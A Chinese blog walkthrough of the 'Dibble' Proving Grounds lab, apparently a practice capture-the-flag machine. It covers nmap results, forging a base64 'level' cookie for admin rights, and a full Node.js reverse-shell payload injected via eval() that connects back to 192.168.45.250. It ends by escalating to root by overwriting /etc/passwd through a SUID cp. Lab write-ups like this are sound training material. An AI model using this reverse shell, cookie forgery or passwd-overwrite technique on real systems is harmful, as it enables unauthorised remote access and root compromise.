首页 > 其他分享 >Dibble pg walkthrough Intermediate

Dibble pg walkthrough Intermediate

时间:2024-11-28 10:43:52浏览次数:5  
标签:ftp http sh Dibble tcp client walkthrough Intermediate open

nmap
21/tcp    open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 192.168.45.250
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp    open  ssh     OpenSSH 8.3 (protocol 2.0)
| ssh-hostkey: 
|   3072 9d:3f:eb:1b:aa:9c:1e:b1:30:9b:23:53:4b:cf:59:75 (RSA)
|   256 cd:dc:05:e6:e3:bb:12:33:f7:09:74:50:12:8a:85:64 (ECDSA)
|_  256 a0:90:1f:50:78:b3:9e:41:2a:7f:5c:6f:4d:0e:a1:fa (ED25519)
80/tcp    open  http    Apache httpd 2.4.46 ((Fedora))
|_http-title: Home | Hacking Articles
| http-robots.txt: 22 disallowed entries (15 shown)
| /core/ /profiles/ /README.txt /web.config /admin/ 
| /comment/reply/ /filter/tips /node/add/ /search/ /user/register/ 
| /user/password/ /user/login/ /user/logout/ /index.php/admin/ 
|_/index.php/comment/reply/
|_http-server-header: Apache/2.4.46 (Fedora)
|_http-generator: Drupal 9 (https://www.drupal.org)
3000/tcp  open  http    Node.js (Express middleware)
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
27017/tcp open  mongodb MongoDB 4.2.9 4.2.9
| mongodb-databases: 


3000端口我试着注册了一个admin名字的用户发现成功 登录之后

image
点击see all views看看 能发现一堆用户名字
image
我点击new event log
然后算变写了点内容点击register 发现说我不是管理员
image
当我抓包的时候发现了一个很有意思的地方 cookie有个level字段 感觉这个字段就是控制权限的
image
我将这个字段改成admin并且base64编码之后发现我们写的文章上传成功了
image
这就很有意思了 接下来我们来看看怎么利用
好像也找不到啥利用点

看看80端口
image
是个drupal站点
droopescan 扫扫看看有啥玩意
发现好像也没啥
image

ftp我们也看看

image
可以看到ftp 是可以匿名登录但是没啥用 看不了文件上传不了东西

卡住了

我觉得一切的出发点还是在我们刚刚发现的小漏洞身上

尝试注入反弹shell代码 应为nmap 扫描发现是node.js写的我们就尝试注入node.js代码发现竟然反弹shell成功了!!
image

nodejs 反弹shell代码
!(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(80, "192.168.45.250", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();

image

我很好奇他这是怎么写的代码我们来看看是怎么造成代码注入的
发现这里直接就用eval来执行我们的上传内容 太离谱了 其实也是有点提示的
'Message format not valid, try "using double quotes" (testing new feature)' 我们就可能要考虑考虑传输的内容是否存在注入了
image

发现cp有suid权限
我们直接往/etc/passwd 写入我们的提权用户

提权成功

echo 'xxoo:$1$GWB36/lB$ncfgVGEio6XbCYeV53KcM0:0:0:asdasd:/root:/bin/bash' | cp /dev/stdin /etc/passwd
image

我只能说那个代码注入点确实没想到
但还是挺好玩的
这个大概打了两个半小时左右

标签:ftp,http,sh,Dibble,tcp,client,walkthrough,Intermediate,open
From: https://www.cnblogs.com/wssw/p/18573679

相关文章

  • Spaghetti pg walkthrough Intermediate
    nmap┌──(root㉿kali)-[~]└─#nmap-p--A192.168.170.160StartingNmap7.94SVN(https://nmap.org)at2024-11-2704:45UTCNmapscanreportfor192.168.170.160Hostisup(0.072slatency).Notshown:65530closedtcpports(reset)PORTSTATESERVIC......
  • Rookie Mistake pg walkthrough Intermediate
    nmap┌──(root㉿kali)-[~/lab]└─#nmap-p--A192.168.189.221StartingNmap7.94SVN(https://nmap.org)at2024-11-2600:11UTCStats:0:01:03elapsed;0hostscompleted(1up),1undergoingServiceScanServicescanTiming:About50.00%done;ETC:00:1......
  • ISIS 中间系统到中间系统(Intermediate System to Intermediate System) 路由器到路由
    1.ISIS应用场景和技术特点用在运营商扩展性强,IP协议统一天下,ISIS可以支持各种协议,对ipx,ipv4,ipv6等等不同的网络协议,通过TLV方式扩咱扩展,TLV(Type-Length-Value)是一种数据结构,用于在IS-IS的协议数据单元(PDU)中传递额外的信息。TLV由三个部分组成:类型(Type)、长度(Length)和值(Valu......
  • CMPINF 0401 Intermediate Programming
    CMPINF0401IntermediateProgrammingAssignment1Topics:Reviewofexpressions,conditions,loopsandI/OOnline:Wednesday,September4,2024Due:Allsource(.java)filesandacompletedAssignmentInformationSheetzippedintoasinglefileandsubmit......
  • A Walkthrough Using Acquire and Release Fences
    We’lltaketheexamplefrommypreviouspostandmodifyittouseC++11’sstandaloneacquireandreleasefences.Here’stheSendTestMessagefunction.Theatomicwriteisnowrelaxed,andareleasefencehasbeenplacedimmediatelybeforeit.voidSen......
  • Fallout Walkthrough
    TheNearlyUltimateFalloutGuideVersion1.1WrittenandcodedbyPerJornerThemainthingyouwillfindinFO1isthereislessofeverything.Ofcourse,itshouldcomeasnosurprisethatthefirstgameintheserieswouldbesmallerthanthesequel.......
  • SolidState 靶机 walkthrough
    扫描┌──(root㉿kali)-[/home/kali]└─#nmap-T5-A-v-p-192.168.80.141StartingNmap7.92(https://nmap.org)at2022-10-2403:50EDTNSE:Loaded155scriptsforscanning.NSE:ScriptPre-scanning.InitiatingNSEat03:50CompletedNSEat03:50,0.00......
  • 中间代码生成(Intermediate Code Generation)
    目录在编译器设计中,将高级语言代码(如C、C++、Java等)转换为低级语言(如汇编语言或机器语言)是一个复杂的过程,其中包括对不同类型的语句进行翻译。下面我将简要解释你提到的各种语句的翻译过程:声明语句的翻译:声明语句用于定义变量、类型或函数。在翻译时,编译器会为这些实体在符......
  • 《SAIS Supervising and Augmenting Intermediate Steps for Document-Level Relation
    代码 原文地址 预备知识:1.什么是标记索引(tokenindices)?标记索引是一种用于表示文本中的单词或符号的数字编码。它们可以帮助计算机理解和处理自然语言。例如,假如有一个字典{"我":1,"是":2,"Bing":3,".":4},那么文本"我是Bing."的标记索引就是[1,2,3,4]。不同的模......
  • Fiori WalkThrough学习-Step02.Bootstrap
    1.Index.html<!DOCTYPEhtml><html><head><metacharset="utf-8"><title>UI5Walkthrough</title><scriptid="sap-ui-bootstrap"src="https://openui5.hana.ondemand.co......